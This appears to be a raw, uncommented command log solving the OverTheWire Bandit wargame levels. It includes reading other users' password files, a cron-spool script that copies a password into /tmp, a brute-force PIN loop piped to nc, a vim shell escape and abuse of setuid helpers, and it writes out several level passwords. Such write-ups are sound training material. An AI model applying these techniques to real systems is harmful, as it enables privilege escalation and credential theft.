ssh bandit@bandit.labs.overthewire.org -p 2220

ls

readme

cat readme

logout

mkdir overthewire

cd overthewire

mkdir bandit

cd bandit/

nano bandit1

is

bandit1

cat bandit1

man sshpass

sshpass -p 'cat bandit' ssh bandit@bandit.labs.overthewire.org -p 2220

ls

cat ./-

ls

cat "spaces in this filename"

ls

find inhere

cat inhere/.hidden

ls

cd inhere

```
file ./*

cat .-file0


ls

cd inhere

ls -l

find ! -executable -size 1033c

cat ./maybehere07/.file2


find / -user bandit7 -group bandit6 -size 33c

find / -user bandit7 -group bandit6 -size 33c 2>/dev/null

cat /var/lib/dpkg/info/bandit7.password


ls

cat data.txt

grep 'millionth' data.txt


ls

uniq -u data.txt

sort data.txt

sort data.txt | uniq -u


ls

grep '=' data.txt

file data.txt

strings data.txt | grep '==='


ls

cat data.txt
```

```
base64 -d data.txt


ls

cat data.txt

cat data.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'


ls

cat data.txt

mkdir /tmp/wf1

cp data.txt /tmp/wf1/.

cd /tmp/wf1

ls

xxd -r data.txt data

file data

mv data data.gz

gzip -d data.gz

ls

file data

mv data data.bz2

bzip2 -d data.bz2

file data

mv data data.gz

gzip -d data.gz

file data

mv data data.tar

tar xvf data.tar

file data5.bin

mv data5.bin data.tar

tar xvf data.tar
```

```
file data6.bin

mv data6.bin data.bz2

bzip2 -d data.bz2

file data

mv data data.tar

tar xvf data.tar

file data8.bin

mv data8.bin data.gz

gzip -d data.gz

file data

cat data


ls

ssh -i sshkey.private  bandit14@localhost

ssh -i sshkey.private  -p 2220 bandit14@localhost

ls /etc/bandit_pass/

cat /etc/bandit_pass/bandit14


ls

nc localhost 30000

talnet localhost 30000


ls

openssl s_client -connect localhost:30001


nmap -A -p 31000-32000 localhost

echo "JQttfApK4SeyHwDlI9SXGR50qclOAiI1"  | openssl s_client -quiet -connect localhost:31790 -
ign_eof

cd /tmp/random_sshkey
```

```
vim private.key

chmod 400 private.key

ls -l

ssh -i private.key -p 2220 bandit17@localhost


ls

cat passwords.old

cat passwords.new

diff passwords.old passwords.new


ssh bandit18@bandit.labs.overthewire.org  -p 2220 "cat ~/readme"


ls

file bandit20-do

ls -l

./bandit20-do

./bandit20-do cat /etc/bandit_pass/bandit20


ls

ls -l

echo -n "VxCzzJaVykI6W36BkBU0mJTCM8rR95XT"  | nc -l -p 1234 &

./suconnect 1234


cd /etc/cron.d

ls

cat cronjob_bandit22

cat /usr/bin/cronjob_bandit22.sh

cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
```

```
ls /etc/cron.d/

cat /etc/cron.d/cronjob_bandit23

cat /usr/bin/cronjob_bandit23.sh

echo I am user bandit23 | md5sum | cut -d ' ' -f 1

cat /tmp/8ca319486bfbbc3663ea0fbe81326349


ls /etc/cron.d

cat /etc/cron.d/cronjob_bandit24

cat /usr/bin/cronjob_bandit24.sh

mkdir pass

cd /tmp/passs

touch pass.sh

vi pass.sh

#!/bin/bash

cat /etc/bandit_pass/bandit24  > /tmp/ypass/pass

touch pass

chmod 777 -R /tmp/passs

cp pass.sh /var/spool/bandit24/foo

ls -l

ls -l

ls -l

cat pass


nc localhost 30002

mkdir /tmp/bandit-pass25

cd /tmp/bandit-pass25

vi script.sh

#!/bin/bash
```

```
for a in {0..9}

do

   for e in {0..9}

   do

      for i in {0..9}

      do

         for o in {0..9}

         do

            echo "VEEfGXJ1PBSsPSnvsjI8p759leLZ9GGar  $a$e$i$o"

         done

      done

   done

done

chmod +x script.sh

ls -l

./script.sh | nc localhost 30002


ls

ssh -i bandit26.sshkey  bandit26@localhost  -p 2220

modo more se hace pequeña la consola

:r cat /etc/bandit_pass/bandit26


set shell=/bin/bash

:shell

ls

./bandit27-do cat /etc/bandit_pass/bandit27


mkdir /tmp/anderson

cd /tmp/anderson
```

git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo

ls -l

cd repo

cat README

mkdir /tmp/anderson Nivel 0

cd /tmp/anderson Nivel 0

git clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo

cd repo

ls -a

cat README.md

git branch

git log

git checkout abcff758fa6343a0d002a1c0add1ad8c71b88534

ls

cat README.md

ls

mkdir /tmp/anderson1

cd /tmp/anderson1

git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo

cd repo

ls -a

cat README.md

git branch -r

git checkout dev

ls

cat README.md

```
mkdir /tmp/anderson Nivel 01

cd /tmp/anderson Nivel 01

git clone ssh://bandit30-git@localhost:2220/home/bandit30-git/repo

ls

cd repo

ls -a

cat README.md

git branch -r

git tag

git show secret


ls

cd repo

ls -a


rm .gitignore

echo 'May I come in?' > key.txt

git add key.txt

git branch


$0

$export SHELL=/bin/bash

echo $SHELL

$SHELL

ls

cd /etc/bandit_pass

ls

cat bandit33
```

cat README.txt